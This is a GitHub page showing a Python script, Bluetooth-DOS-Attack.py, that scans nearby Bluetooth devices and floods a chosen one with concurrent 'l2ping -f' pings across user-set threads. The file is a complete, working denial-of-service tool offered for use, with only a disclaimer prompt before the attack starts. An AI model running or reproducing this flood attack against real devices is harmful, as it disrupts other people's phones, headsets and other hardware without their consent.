-
Notifications
You must be signed in to change notification settings - Fork 128
/
Bluetooth-DOS-Attack.py
85 lines (76 loc) · 2.77 KB
/
Bluetooth-DOS-Attack.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
import os
import threading
import time
import subprocess
def DOS(target_addr, packages_size):
os.system('l2ping -i hci0 -s ' + str(packages_size) +' -f ' + target_addr)
def printLogo():
print(' Bluetooth DOS Script ')
def main():
printLogo()
time.sleep(0.1)
print('')
print('\x1b[31mTHIS SOFTWARE IS PROVIDED "AS IS" WITHOUT WARRANTY OF ANY KIND. YOU MAY USE THIS SOFTWARE AT YOUR OWN RISK. THE USE IS COMPLETE RESPONSIBILITY OF THE END-USER. THE DEVELOPERS ASSUME NO LIABILITY AND ARE NOT RESPONSIBLE FOR ANY MISUSE OR DAMAGE CAUSED BY THIS PROGRAM.')
if (input("Do you agree? (y/n) > ") in ['y', 'Y']):
time.sleep(0.1)
os.system('clear')
printLogo()
print('')
print("Scanning ...")
output = subprocess.check_output("hcitool scan", shell=True, stderr=subprocess.STDOUT, text=True)
lines = output.splitlines()
id = 0
del lines[0]
array = []
print("|id | mac_addres | device_name|")
for line in lines:
info = line.split()
mac = info[0]
array.append(mac)
print(f"|{id} | {mac} | {''.join(info[1:])}|")
id = id + 1
target_id = input('Target id or mac > ')
try:
target_addr = array[int(target_id)]
except:
target_addr = target_id
if len(target_addr) < 1:
print('[!] ERROR: Target addr is missing')
exit(0)
try:
packages_size = int(input('Packages size > '))
except:
print('[!] ERROR: Packages size must be an integer')
exit(0)
try:
threads_count = int(input('Threads count > '))
except:
print('[!] ERROR: Threads count must be an integer')
exit(0)
print('')
os.system('clear')
print("\x1b[31m[*] Starting DOS attack in 3 seconds...")
for i in range(0, 3):
print('[*] ' + str(3 - i))
time.sleep(1)
os.system('clear')
print('[*] Building threads...\n')
for i in range(0, threads_count):
print('[*] Built thread №' + str(i + 1))
threading.Thread(target=DOS, args=[str(target_addr), str(packages_size)]).start()
print('[*] Built all threads...')
print('[*] Starting...')
else:
print('Bip bip')
exit(0)
if __name__ == '__main__':
try:
os.system('clear')
main()
except KeyboardInterrupt:
time.sleep(0.1)
print('\n[*] Aborted')
exit(0)
except Exception as e:
time.sleep(0.1)
print('[!] ERROR: ' + str(e))